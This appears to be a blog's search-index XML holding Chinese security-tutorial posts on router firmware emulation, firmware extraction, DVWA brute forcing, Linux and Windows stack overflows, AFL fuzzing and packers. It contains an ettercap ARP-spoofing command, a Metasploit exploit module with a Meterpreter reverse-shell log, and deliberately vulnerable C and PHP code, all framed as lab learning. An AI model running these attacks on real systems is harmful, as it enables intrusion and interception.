2019-04-15 07:42:42 +00:00
<?xml version="1.0" encoding="utf-8"?>
2019-08-08 13:39:50 +00:00
<search >
<entry >
<title > <![CDATA[远程调试小米路由器固件]]> </title>
<url > %2F2019%2F07%2F25%2FDebug-a-router-firmware%2F</url>
<content type= "text" > < ![CDATA[0x00 背景与简介在分析嵌入式设备的固件时, 只采用静态分析方式通常是不够的, 你需要实际执行你的分析目标来观察它的行为。在嵌入式Linux设备的世界里, 很容易把一个调试器放在目标硬件上进行调试。如果你能在自己的系统上运行二进制文件, 而不是拖着硬件做分析, 将会方便很多, 这就需要用QEMU进行仿真。虽然QEMU在模拟核心芯片组包括CPU上都做的很不错, 但是QEMU往往不能提供你想运行的二进制程序需要的硬件。最常见问题是在运行系统服务, 如Web服务器或UPnP守护进程时, 缺乏NVRAM。解决方法是使用nvram-faker库拦截由libnvram.so提供的nvram_get()调用。即使解决了NVRAM问题, 该程序还可能会假设某些硬件是存在的, 如果硬件不存在, 该程序可能无法运行, 或者即便它运行了, 行为可能也与在其目标硬件上运行时有所不同。针对这种情况下, 我认为有三种解决方法: 修补二进制文件。这取决于期望什么硬件,以及它不存在时的行为是什么。 把复杂的依赖于硬件的系统服务拆分成小的二级制文件。如跳过运行Web服务器, 仅仅从shell脚本运行cgi二进制文件。因为大多数cgi二进制文件将来自Web服务器的输入作为标准输入和环境变量的组合, 并通过标准输出将响应发送到Web服务器。 拿到设备的shell, 直接在真机上进行调试, 这是最接近真实状况的方法。 REF综合: 国外大神的博客通过QEMU和IDAPro远程调试设备固件MIPS漏洞调试环境安装及栈溢出环境搭建onCTFWIKI路由器漏洞训练平台路由器0day漏洞挖掘实战逆向常用工具 环境搭建:路由器漏洞挖掘测试环境的搭建之问题总结 Linux相关知识qcow2、raw、vmdk等镜像格式Linux 引导过程内幕Linux启动过程 调试案例CVE-2019-10999复现《家用路由器0day漏洞挖掘》部分案例TP-LINK WR941N路由器研究 0x01 基础条件 一系列的工具, 包括: binwalk 帮助你解包固件buildroot mips交叉编译环境帮助你在x86平台下编译mips架构的目标程序 https://xz.aliyun.com/t/2505#toc-6qemu 帮助你模拟mips环境MIPS gdbinit 文件使得使用gdb调试mips程序时更方便 https://github.com/zcutlip/gdbinit-mipsmiranda工具 用于UPnP分析 https://code.google.com/p/miranda-upnp/MIPS静态汇编审计 辅助脚本 https://github.com/giantbranch/mipsAudit静态编译的gdbserver https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver 一个mips Linux环境: 在qemu系统模式下, 需要模拟整个计算机系统 0x02 qemu-用户模式在user mode下使用qemu执行程序有两种情况, 一是目标程序为静态链接, 那么可以直接使用qemu。另一种是目标程序依赖于动态链接库, 这时候就需要我们来指明库的位置, 否则目标程序回到系统/lib文件下寻找共享库文件。在 《揭秘家用路由器0day》 这本书里面, 他给出的方法是: 12$ cp $(which qemu-mipsel) ./$ sudo chroot . ./qemu-mipsel ./usr/sbin/miniupnpd 他把qemu-mipsel复制到固件文件目录下, 然后chroot命令改变qemu执行的根目录到当前目录, 按理说此时应该可以找到依赖库,但是结果却是chroot: failed to run command ‘ ./qemu-mipsel’ : No such file or directory 在网上找到了解决方法:需要安装使用 qemu-mips-static 才可以123$ apt-get install qemu binfmt-support qemu-user-static$ cp $(which qemu-mipsel-static ) ./$ sudo chroot . ./qemu-mipsel-static ./usr/sbin/miniupnpd 这里还可利用-E用来设置环境变量, LD_PRELOAD " ./lib" 用来劫持系统调用,另外还有-g开启调试模式 除此之外, 也在CTF-WIKI上找到了另一种方法: 使用 qemu-mips 的 -L 参数指定路由器的根目录1$ qemu-mipsel -L . ./usr/sbin/miniupnpd 模拟miniupnp由于没有指定参数, 所以这里miniupnpd只把usage和notes打印给我们了: 12345678910111213141516171819202122
2019-07-25 14:22:59 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > IOT</category>
2019-07-25 14:22:59 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 小米</tag>
<tag > 路由器</tag>
<tag > 调试</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[获取固件的几种方法]]> </title>
<url > %2F2019%2F07%2F24%2F%E8%8E%B7%E5%8F%96%E5%9B%BA%E4%BB%B6%2F</url>
<content type= "text" > <![CDATA[通过分析物联网设备遭受攻击的链条可以发现, 黑客获取固件, 把固件逆向成汇编或C程序语言后, 能分析出设备的运行流程和网络行为, 还能找到安全加密相关的密钥相关的信息。如果这些“有心人”没能获取到固件信息, 他们也很难发现这些漏洞。从这一点看, 物联网设备的安全性, 在很大程度上决定于其固件的安全性。 http://blog.nsfocus.net/security-analysis-of-the-firmware-of-iot/https://open.appscan.io/article-1163.html 官网获取或联系售后索取升级包网络升级拦截工具: wireshark、ettercap流程: 中间人->开始抓包->在线升级->分析固件地址->下载案例: 华为路由WS5200 四核版这款路由器在网上找不到现有固件, 我们尝试一下是否可以通过抓包在线升级过程获取固件。首先关闭防火墙, 否则无法访问路由器的服务, 无法做中间人攻击。使用ettercap进行arp欺骗, sudo ettercap -Tq -i ens33 -M arp:remote /192.168.31.1// /192.168.31.134//打开wireshark进行抓包。理论上说, 点击升级固件之后, wireshark就能够记录升级固件的整个过程(HTTP),但是结果却并不理想。 还好华为路由器自带了抓包的功能(方便后期的调试和维护),所以直接使用这个功能抓取报文,比做中间人要直接了当得多。 在点击升级固件之后, 我们可以看到大量发往58.49.156.104这个地址的报文, 猜测极有可能是华为的服务器, 过滤一下会看得更清楚可以看到在通过三次TCP握手之后, 华为路由器向服务器发送了get请求, uri就是获取固件的地址 http://update.hicloud.com/TDS/data/files/p14/s145/G4404/g1810/v272964/f1/WS5200_10.0.2.7_main.bin点击即可拿到最新的固件 案例: 小米智能门锁http://cdn.cnbj0.fds.api.mi-img.com/miio_fw/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin?GalaxyAccessKeyId=5721718224520&Expires=1566136387000&Signature=KLOrbsRANlJD7w7bKB03xI1t4/0= ./storage/emulated/0/Android/data/com.xiaomi.smarthome/cache/ble/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.bin 123456$ binwalk -Me 250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.binScan Time: 2019-07-20 20:01:40Target File: /home/han/ck/iot/250cc495d7da7643680dadeab578fce0_upd_lumi.lock.mcn01.binMD5 Checksum: 250cc495d7da7643680dadeab578fce0Signatures: 390 通过串口读取工具: uart转usb流程: 找到电路板上的uart接口( RX、TX、+5v、GND) ->串口通信->拿到shell->tar打包固件->nc传输案例: 小爱音响 刷开发板固件, 开启ssh服务有些厂商除了稳定版固件, 还会提供开发版供发烧友“玩弄”。案例: 小米路由器的开发板可通过安装ssh工具包开启ssh服务流程: 开启ssh->tar打包固件12345678910111213141516171819202122232425262728root@XiaoQiang:/# lsbin data dev etc extdisks lib mnt opt overlay proc readonly rom root sbin sys tmp userdisk usr var www压缩提示没有足够的空间root@XiaoQiang:/# tar -zcf bin.tar.gz bin/*tar: can't open 'bin.tar.gz': No space left on device来看一下空间使用情况root@XiaoQiang:/# df -hFilesystem Size Used Available Use% Mounted onrootfs 25.9M 25.9M 0 100% /none 60.5M 4.5M 56.0M 7% /devtmpfs 60.9M 1.5M 59.4M 2% /tmpubi0_0 25.9M 25.9M 0 100% /tmpfs 60.9M 1.5M 59.4M 2% /tmptmpfs 60.9M 1.5M 59.4M 2% /extdisksubi1_0 45.4M 6.7M 36.3M 16% /dataubi1_0 45.4M 6.7M 36.3M 16% /userdiskubi0_0 25.9M 25.9M 0 100% /userdisk/dataubi1_0 45.4M 6.7M 36.3M 16% /etc/dev目录下还有足够空间, 继续压缩root@XiaoQiang:/# tar -zcf ./dev/bin.tar.gz bin/*root@XiaoQiang:/# tar -zcf ./dev/data.tar.gz data/*其他的目录也是一样的方法scp传输到本地scp root:password@miwifi:/dev/*.tar.gz ./Desktop uboot提取固件案例: 2018年看雪提供的摄像头 通过调试接口JTAG/SWD拆存储( flash、SD卡、硬盘等) , 用编程器或读卡器获取逻辑分析仪]]> </content>
2019-07-24 03:51:42 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > IOT</category>
2019-07-24 03:51:42 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > IoT</tag>
<tag > 硬件层</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[DVWA黑客攻防平台]]> </title>
<url > %2F2019%2F07%2F24%2Fweb-dvwa%2F</url>
<content type= "text" > < ![CDATA[搭建环境最好使用docker来搭建, 方便迁移 https://hub.docker.com/r/vulnerables/web-dvwa/ 暴力破解easy模式 密码破解是从存储在计算机系统中或由计算机系统传输的数据中恢复密码的过程。一种常见的方法是反复尝试密码的猜测。用户经常选择弱密码。不安全选择的例子包括在词典中找到的单个单词, 姓氏, 任何太短的密码( 通常被认为少于6或7个字符) , 或可预测的模式( 例如交替的元音和辅音, 这被称为leetspeak, 所以“密码“变成”p @ 55w0rd“) 。创建针对目标生成的目标单词列表通常会提供最高的成功率。有一些公共工具可以根据公司网站, 个人社交网络和其他常见信息( 如生日或毕业年份) 的组合创建字典。最后一种方法是尝试所有可能的密码, 称为暴力攻击。从理论上讲, 如果尝试次数没有限制, 那么暴力攻击将永远是成功的, 因为可接受密码的规则必须是公开的;但随着密码长度的增加,可能的密码数量也越来越长。 使用burpsuite可破之, Burp suite运行后, Proxy 开起默认的8080 端口作为本地代理接口。使用Burp suite通过置一个web 浏览器使用其代理服务器123456789101112131415161718192021222324252627282930313233< ?phpif( isset( $_GET[ 'Login' ] ) ) { // Get username $user = $_GET[ 'username' ]; // Get password $pass = $_GET[ 'password' ]; $pass = md5( $pass ); // Check the database $query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '< pre> ' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '< /pre> ' ); if( $result & & mysqli_num_rows( $result ) == 1 ) { // Get users details $row = mysqli_fetch_assoc( $result ); $avatar = $row["avatar"]; // Login successful echo "< p> Welcome to the password protected area { $user} < /p> "; echo "< img src=\"{ $avatar} \" /> "; } else { // Login failed echo "< pre> < br /> Username and/or password incorrect.< /pre> "; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);} ?> PHP $_GET 变量在 PHP 中,预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。 $_GET 变量预定义的 $_GET 变量用于收集来自 method=”get” 的表单中的值。从带有 GET 方法的表单发送的信息,对任何人都是可见的(会显示在浏览器的地址栏),并且对发送信息的量也有限制。 何时使用 method=”get”? 在 HTML 表单中使用 method=”get” 时,所有的变量名和值都会显示在 URL 中。所以在发送密码或其他敏感信息时,不应该使用这个方法!然而,正因为变量显示在 URL 中, 因此可以在收藏夹中收藏该页面。在某些情况下, 这是很有用的。HTTP GET 方法不适合大型的变量值。它的值是不能超过 2000 个字符的。 12345678910GET /vulnerabilities/brute/?username=admin123& password=123& Login=Login HTTP/1.1Host: 192.168.31.84:81Proxy-Connection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3Referer: http://192.168.31.84:81/vulnerabilities/brute/Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Cookie: PHPSESSID=rbb91verhfhas5a6k7tq77bmo4; security=low 我们可以看到username和password是以明文出现, 可以修改。 将请求进行提交到intruder模块, 在那里可以把password设置为我们破解的payload.点击Start attack~然后就根据对面返回包的大小, 知道密码, ’ password’ 返回的<E59B9E> <E79A84>
2019-07-24 03:51:42 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > web</category>
2019-07-24 03:51:42 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > web</tag>
<tag > ctf</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[Linux Pwn-缓冲区溢出利用]]> </title>
<url > %2F2019%2F07%2F16%2Flinux-pwn-32%2F</url>
<content type= "text" > < ![CDATA[之前介绍了Windows x86平台下栈溢出漏洞的开放与利用, 鉴于CTF基本都是Linux, 还有实际开发环境, 很多智能设备的系统都是基于Linux, 所以从很现实的需求出发, 一定要学习学习Linux下漏洞的分析。 ref: CTF-WIKI: https://ctf-wiki.github.io/ctf-wiki/pwn/readme-zh/蒸米大佬的一步一步学rop http://www.anquan.us/static/drops/tips-6597.htmlhttps://bbs.pediy.com/thread-221734.htm 工具: objdump、ldd、ROPgadget、readelf、https://ctf-wiki.github.io/ctf-tools/https://github.com/ctf-wiki/ctf-challenges 0x00 Control Flow hijack和Windows一样, 栈溢出的根本原因在于当前计算机的体系结构没有区分代码段和数据段, 因此我们可以通过修改数据段的内容( 返回地址) , 改变程序的执行流程, 从而达到程序流劫持的效果。改变计算机体系来规避漏洞目前是不可能的, 防御者为了应对这种攻击, 提出了各种增大攻击难度的措施( 没有绝对安全的系统) , 最常见的有: DEP堆栈不可执行、ASLR内存地址随机化、GS/Canary栈保护等。我们从最简单的入手, 不开启任何防护, 先了解栈溢出的基本操作, 然后逐步增加防御措施。 寻找危险函数这里有一个漏洞程序12345678910111213#include < stdio.h> #include < string.h> void success() { puts(" You Hava already controlled it." ); } void vulnerable() { char s[12]; gets(s); puts(s); return;} int main(int argc, char **argv) { vulnerable(); return 0;} 当我们看到gets时就应该知道如何入手了, 这是一个非常危险的函数, 无条件的接受任意大的字符串。历史上, 莫里斯蠕虫第一种蠕虫病毒就利用了 gets 这个危险函数实现了栈溢出。先进行编译, 关闭防御措施: 12345678$ gcc -m32 -no-pie -fno-stack-protector -z execstack stack1.c -o stack1stack1.c: In function ‘ vulnerable’ :stack1.c:6:3: warning: implicit declaration of function ‘ gets’ ; did you mean ‘ fgets’ ? [-Wimplicit-function-declaration] gets(s); ^~~~ fgets/tmp/ccUuPrSy.o: In function `vulnerable' :stack1.c:(.text+0x45): warning: the `gets' function is dangerous and should not be used. 编译器都会提示你, gets不要再用了。-fno-stack-protector 和-z execstack分便会关掉栈保护的DEP.-no-PIE关闭 PIE( Position Independent Executable) , 避免加载基址被打乱。接下来关闭整个linux系统的ASLR保护: 12345$ suPassword:root@ubuntu:/home/han/ck/pwn/linux/stack_demo# echo 0 > /proc/sys/kernel/randomize_va_spaceroot@ubuntu:/home/han/ck/pwn/linux/stack_demo# exitexit 计算溢出点的位置什么是溢出点的位置: 从缓冲区到覆盖返回地址所需要的字节数我们同样也可以使用工具pattern_create和pattern_offset来计算, 这里我们先手动计算: 把stack1拖入IDA进行反汇编分析: 1234567int vulnerable(){ char s; // [sp+4h] [bp-14h]@1 gets(& s); return puts(& s);} 在伪代码窗口, 我们可看到变量s和bp的距离为14h, 再加上old bp的4字节, 到ret的距离就是18h。123456789101112 +-----------------+ | retaddr | +-----------------+ | saved ebp | ebp---> +-----------------+ | | | | | | | | | | | |s,ebp-0x14--> +-----------------+ 劫持ret的地址这里我们想让程序跳转到success(), 从IDA直接可以获取0x08048456123456789101112131415161718192021.text:08048456 success proc near.text:08048456.text:08048456 var_4 = dword ptr -4.text:08048456.text:08048456 push ebp.text:08048457 mov ebp, esp.text:08048459 push ebx.text:0804845A sub esp, 4.text:0804845D call __x86_get_pc_thunk_ax.text:08048462 add eax, 1B9Eh.text:08048467 sub esp, 0Ch.text:0804846A lea edx, (aYouHavaAlready - 804A000h)[eax] ; " You Hava already controlled it." .text:08048470 push edx ; s.text:08048471 mov ebx, eax.text:08048473 call _puts.text:08048478 add esp, 10h.text:0804847B nop.text:0804847C mov ebx, [ebp+var_4].text:0804847F leave.text:08048480 retn.text:08048480 su
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > Pwn二进制漏洞</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > linux</tag>
<tag > pwn</tag>
<tag > 栈溢出</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[x86-basic 漏洞利用]]> </title>
<url > %2F2019%2F07%2F10%2Fx86basic%2F</url>
<content type= "text" > < ![CDATA[这部分是对Window x86平台下的几个典型漏洞利用方式的介绍, 从最基础的、没有开启任何保护的漏洞程序入手, 然后开启GS, 最后通过rop绕过DEP。 0x00 漏洞利用开发简介( 1) 需要什么 Immunity Debugger -Download Mona.py -Download Metasploit框架-下载 靶机– Windows XP sp3 函数调用与栈:调用、返回 寄存器与函数栈帧: ESP、EBP 函数栈帧:局部变量、栈帧状态值、函数返回地址 函数调用约定与相关指令:参数传递方式、参数入栈顺序、恢复堆栈平衡的操作 ( 2) 函数调用的汇编过程 示例程序 123456charname[] = "1234567";voidfunc(int a, int b, int c){ charbuf[8]; strcpy(buf, name);} 汇编过程 PUSH c, PUSH b, PUSH a CALL address of func【保存返回地址; 跳转】 MOV ebp, esp PUSH ebp SUB esp, 0x40 创建局部变量, 4个字节为一组 do something add esp, 0x40 pop ebp RETN【弹出返回地址, 跳转】 栈帧结构 0x01 简单栈溢出 目标程序:bof-server source codebof-server binary for Windowsusage:服务端bof-server.exe 4242客户端telnet localhost 4242versionbof-server v0.01quit 漏洞点 产生崩溃将输出的1024个A发送给靶机程序12python -c " print(' A' * 1024)" telnet 192.168.64.138 4242 关闭防御措施使用PESecurity检查可执行文件本身的防御措施开启情况注意设置: Set-ExecutionPolicyUnrestricted ASLR和DEPASLR在xp下不用考虑, DEP可通过修改boot.ini中的nonexecute来完成( AlwaysOff、OptOut) 整体的攻击流程 任意非00的指令覆盖buffer和EBP 从程序已经加载的dll中获取他们的jmp esp指令地址。 使用jmp esp的指令地址覆盖ReturnAddress 从下一行开始填充Shellcode 确定溢出点的位置 生成字符序列 pattern_create.rb 发送给目标程序 计算偏移量 pattern_offset.rb 确定payload结构 寻找jmp esp跳板 OD附加进程看一下服务器加载了哪些模块 查找JMP ESP指令的地址在这里选择了ws2_32.dll作为对象, 通过Metasploit的msfbinscan进行搜索 自动化攻击123456789101112131415161718192021222324252627282930313233343536373839require 'msf/core'class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Tcp def initialize(info = { } ) super(update_info(info, 'Name' => 'Stack Based Buffer Overflow Example', 'Description' => %q{ Stack Based Overflow Example Application Exploitation Module } , 'Platform' => 'Windows', 'Author' => 'yanhan', 'Payload' => { 'space' => 400, 'BadChars' => "\x00\xff" } , 'Targets' => [ [ 'Windows XP SP3', { 'Ret' => 0x71a22b53, 'Offset' => 520} ] ], 'DisclosureDate' => '2019-05-25' )) end def exploit connect buf = make_nops(target['Offset']) buf = buf + [target['Ret']].pack('V') + make_nops(20) + payload.encoded sock.put(buf) handler disconnect endend 123456789101112131415161718192021222324252627282930313233343536msf5 > use exploit/windows/yanhan/bof_attackmsf5 exploit(windows/yanhan/bof_attack) > set rhosts 192.168.31.114rhosts => 192.168.31.114msf5 exploit(windows/yanhan/bof_attack) > set rport 1000rport => 1000msf5 exploit(windows/yanhan/bof_attack) > exploit[*] Started reverse TCP handler on 192.168.31.84:4444[*] Sending stage (179779 bytes) to 192.168.31.114[*] Meterpreter session 1 opened (192.168.31.84:4444 -> 192.168.31.114:1062) at 2019-07-10 16:38:51 +0800meterpreter > lsListing: C:\Documents and Settings\Administrator================================================Mode Size Type Last modified Name---- ---- ---- ------------- ----40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Application Data40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Cookies40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 Favorites40777/rwxrwxrwx 0 dir 2019-05-14 09:54:43 +0800 Local Settings40555/r-xr-xr-x 0 dir 2019-05-14 09:54:43 +0800 My Documents100666/rw-rw-rw- 1048576 fil 2019-05-14 09:54:43 +0800 NTUSER.DAT40777/rwxrwxrwx 0 dir 2019-05-14 09:54
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > Pwn二进制漏洞</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > 二进制</tag>
<tag > Windows</tag>
<tag > 漏洞</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[AFL-爱之初体验]]> </title>
<url > %2F2019%2F07%2F09%2Fafl-first-try%2F</url>
<content type= "text" > < ![CDATA[这篇文章是对afl的简单使用, 可大致分为黑盒测试和白盒测试两个部分。白盒测试从对目标程序的插桩编译开始, 然后使用fuzzer对其模糊测试发现崩溃, 最后对测试的代码覆盖率进行评估。黑盒测试则演示得较简略。参考: https://paper.seebug.org/841/#_1 部署afl 123456> wget http://lcamtuf.coredump.cx/afl/releases/afl-latest.tgz> tar -zxvf afl-latest.tgz> cd afl-2.52b/> make> sudo make install> 部署qemu 12345678> $ CPU_TARGET=x86_64 ./build_qemu_support.sh> [+] Build process successful!> [*] Copying binary...> -rwxr-xr-x 1 han han 10972920 7月 9 10:43 ../afl-qemu-trace> [+] Successfully created ' ../afl-qemu-trace' .> [!] Note: can' t test instrumentation when CPU_TARGET set.> [+] All set, you can now (hopefully) use the -Q mode in afl-fuzz!> 0x01 白盒测试目标程序编译 源代码 1234567891011121314#undef _FORTIFY_SOURCE#include < stdio.h> #include < stdlib.h> #include < unistd.h> void vulnerable_function() { char buf[128]; read(STDIN_FILENO, buf, 256);} int main(int argc, char** argv) { vulnerable_function(); write(STDOUT_FILENO, " Hello, World\n" , 13);} gcc编译( 不插桩) 1234$ gcc v1.c -o v1$ ./v1whatHello, World 生成v1的目的一是为了和afl-gcc的编译做对比, 二是为黑盒测试做铺垫。 使用afl-gcc进行编译-fno-stack-protector 该选项会禁止stack canary保护-z execstack 允许堆栈可执行1234$ ../afl-2.52b/afl-gcc -fno-stack-protector -z execstack v1.c -o v1-afl afl-cc 2.52b by < lcamtuf@google.com> afl-as 2.52b by < lcamtuf@google.com> [+] Instrumented 2 locations (64-bit, non-hardened mode, ratio 100%). 测试插桩程序afl-showmap 跟踪单个输入的执行路径, 并打印程序执行的输出、捕获的元组( tuples) , tuple用于获取分支信息, 从而衡量衡量程序覆盖情况。12345678910$ ./afl-showmap -o /dev/null -- ../vuln/v1 < < (echo test)afl-showmap 2.52b by < lcamtuf@google.com> [*] Executing ' ../vuln/v1' ...-- Program output begins --Hello, World-- Program output ends --[-] PROGRAM ABORT : No instrumentation detected Location : main(), afl-showmap.c:773 12345678$ ./afl-showmap -o /dev/null -- ../vuln/v1-afl < < (echo test)afl-showmap 2.52b by < lcamtuf@google.com> [*] Executing ' ../vuln/v1-afl' ...-- Program output begins --Hello, World-- Program output ends --[+] Captured 1 tuples in ' /dev/null' . 可见, afl-gcc相对于gcc的不同在于采用了插桩计算覆盖率, 在这个实例程序中捕捉到了一个元组 执行FUZZER 修改core在执行afl-fuzz前, 如果系统配置为将核心转储文件( core) 通知发送到外部程序。12345678910111213141516171819$ ./afl-fuzz -i ../vuln/testcase/ -o ../vuln/out/ ../vuln/v1-aflafl-fuzz 2.52b by < lcamtuf@google.com> [+] You have 2 CPU cores and 2 runnable tasks (utilization: 100%).[*] Checking CPU core loadout...[+] Found a free CPU core, binding to #0.[*] Checking core_pattern...[-] Hmm, your system is configured to send core dump notifications to an external utility. This will cause issues: there will be an extended delay between stumbling upon a crash and having this information relayed to the fuzzer via the standard waitpid() API. To avoid having crashes misinterpreted as timeouts, please log in as root and temporarily modify /proc/sys/kernel/core_pattern, like so: echo core > /proc/sys/kernel/core_pattern[-] PROGRAM ABORT : Pipe at the beginning of ' core_pattern' Location : check_crash_handling(), afl-fuzz.c:7275 将导致将崩溃信息发送到Fuzzer之间的延迟增大, 进而可能将崩溃被误报为超时, 所以我们得临时修改core_pattern文件, 如下所示: 1echo core > /proc/sys/kernel/core_pattern 通用fuzz语法afl-fuzz对于直接从stdin接受输入的目标二进制文件, 通常的语法是: 1$ ./afl-fuzz -i testcase_dir -o findings_dir / path / to / program [... params ...
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 二进制</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > AFL</tag>
<tag > 模糊测试</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[模糊测试与AFL]]> </title>
<url > %2F2019%2F07%2F01%2FAFL-first-learn%2F</url>
2019-08-09 03:54:43 +00:00
<content type= "text" > < ![CDATA[接触这个词语已经有一年了, 但还没有学习过更没有上手实践过, 正好趁这个机会好好弄弄AFL。提起模糊测试, 我们总会联想起这样或那样的专业术语——测试用例、代码覆盖率、执行路径等等, 你可能和我一样一头雾水, 这次我们就来看个明白 0x01 模糊测试首先, 模糊测试( Fuzzing) 是一种测试手段, 它把系统看成一个摸不清内部结构的黑盒, 只是向其输入接口随机地发送合法测试用例, 这些用例并不是开发者所预期的输入, 所以极有可能会造成系统的崩溃, 通过分析崩溃信息, 测试人员( 黑客) 就可以评估系统是否存在可利用的漏洞。模糊测试的过程, 就好像是一个不断探测系统可以承受的输入极限的过程, 让我想起学电子的时候对一个滤波器进行带宽的评估, 如果我们知道内部电路原理, 那么这个器件对于我们就是白盒了, 可以直接通过公式计算理论带宽, 现在系统对于我们而言是一个黑盒, 我们通过在足够大频率范围内对其不断输入信号, 就能测试出其实际带宽。 模糊测试方法一览 基于变种的Fuzzer 基于模板的Fuzzer 基于反馈演进的Fuzzer 基于追踪路径覆盖率 基于分支覆盖率 在已知合法的输入的基础上,对该输入进行随机变种或者依据某种经验性的变种,从而产生不可预期的测试输入。 此类Fuzzer工具的输入数据, 依赖于安全人员结合自己的知识, 给出输入数据的模板, 构造丰富的输入测试数据。 此类Fuzzer会实时的记录当前对于目标程序测试的覆盖程度, 从而调整自己的fuzzing输入。 PAP:路径编码的算法;后面会产生路径爆炸的问题 漏洞的爆发往往由于触发了非预期的分支 Taof, GPF, ProxyFuzz, Peach Fuzzer SPIKE, Sulley, Mu‐ 4000, Codenomicon AFL 0x02 AFL快速入门1) 用make编译AFL。如果构建失败, 请参阅docs / INSTALL以获取提示。2) 查找或编写一个相当快速和简单的程序, 该程序从文件或标准输入中获取数据, 以一种有价值的方式处理它, 然后干净地退出。如果测试网络服务, 请将其修改为在前台运行并从stdin读取。在对使用校验和的格式进行模糊测试时, 也要注释掉校验和验证码。遇到故障时, 程序必须正常崩溃。注意自定义SIGSEGV或SIGABRT处理程序和后台进程。有关检测非崩溃缺陷的提示, 请参阅docs/README中的第11节。3) 使用afl-gcc编译要模糊的程序/库。一种常见的方法是: 12$ CC = /path/to/afl-gcc CXX =/path/to/afl-g++ ./configure --disable-shared$ make clean all 如果程序构建失败,请联系 a f l - u s e r s @ g o o g l e g r o u p s . c o m 。4) 获取一个对程序有意义的小而有效的输入文件。在模糊详细语法( SQL, HTTP等) 时, 也要创建字典, 如dictionaries/README.dictionaries中所述。5) 如果程序从stdin读取, 则运行afl-fuzz, 如下所示: ./afl-fuzz -i testcase_dir -o findings_dir -- /path/to/tested/program [... program' s cmdline ...] 如果程序从文件中获取输入,则可以在程序的命令行中输入@@; AFL会为您放置一个自动生成的文件名。 一些参考文档 docs/README - AFL的一般介绍, docs/perf_tips.txt - 关于如何快速模糊的简单提示, docs/status_screen.txt - UI中显示的花絮的解释, docs/parallel_fuzzing.txt - 关于在多个核上运行AFL的建议Generated test cases for common image formats - 生成图像文件测试用例的demoTechnical “whitepaper” for afl-fuzz - 技术白皮书 适用环境该工具已确认适用于32位和64位的x86 Linux, OpenBSD, FreeBSD和NetBSD。 它也适用于MacOS X和Solaris, 但有一些限制。 它支持用C, C ++或Objective C编写的程序, 使用gcc或clang编译。 在Linux上, 可选的QEMU模式也允许<E58581> <E8AEB8>
2019-07-16 09:15:34 +00:00
<categories >
2019-08-08 13:39:50 +00:00
<category > 二进制</category>
2019-07-16 09:15:34 +00:00
</categories>
2019-08-08 13:39:50 +00:00
<tags >
<tag > AFL</tag>
<tag > 模糊测试</tag>
</tags>
</entry>
<entry >
<title > <![CDATA[加壳与脱壳]]> </title>
<url > %2F2019%2F05%2F14%2Fpack-and-unpack%2F</url>
<content type= "text" > < ![CDATA[壳是最早出现的一种专用加密软件技术。一些软件会采取加壳保护的方式。壳附加在原始程序上, 通过Windows加载器载入内存后, 先于原始程序执行, 以得到控制权, 在执行的过程中对原始程序进行解密还原, 然后把控制权还给原始程序, 执行原来的代码。加上外壳后, 原始程序在磁盘文件中一般是以加密后的形式存在的, 只在执行时在内存中还原。这样可以有效防止破解者对程序文件进行非法修改, 也可以防止程序被静态反编译。 壳的加载过程壳和病毒在某些地方类似,都需要获得比原程序更早的控制权。壳修改了原程序执行文件的组织结构,从而获得控制权,但不会影响原程序正常运行。 保存入口参数加壳程序在初始化时会保存各寄存器的值, 待外壳执行完毕, 再恢复各寄存器的内容, 最后跳回原程序执行。通常用pushad/popad等指令保存和恢复现场环境。 获取壳本身需要使用的API地址一般情况下, 外壳的输入表中只有GetProcAddress、GetModuleHandle和LoadLibrary这三个API函数, 甚至只有Kernel32.dll及GetProcAddress。如果需要其他API函数, 可以通过LoadlibraryA或LoadlibraryExA将DLL文件映像映射到调用进程的地址空间中, 函数返回的HINSTANCE值用于标识文件映像所映射的虚拟内存地址。 解密原程序各个区块的数据在程序执行时,外壳将解密区块数据,使程序正常运行。 IAT的初始化IAT的填写本来由PE装载器实现, 但由于在加壳时构造了一个自建输入表, 并让PE文件头数据目录表中的输入表指针指向自建输入表, PE装载器转而填写自建输入表, 